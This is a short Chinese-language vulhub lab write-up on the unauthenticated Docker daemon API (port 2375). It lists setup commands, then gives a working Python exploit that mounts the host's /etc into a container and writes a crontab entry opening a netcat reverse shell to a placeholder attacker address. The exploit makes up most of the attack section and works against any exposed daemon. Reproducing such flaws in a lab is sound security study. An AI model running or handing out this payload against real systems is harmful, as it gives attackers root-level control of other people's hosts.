docker daemon api 未授权访问漏洞
参考链接:
漏洞环境
编译及启动漏洞环境:
docker-compose build
docker-compose up -d
环境启动后,将监听2375端口。
漏洞复现
利用方法是,我们随意启动一个容器,并将宿主机的/etc
目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
写入crontab文件,成功反弹shell:
Copied From: vulhub/docker/unauthorized-rce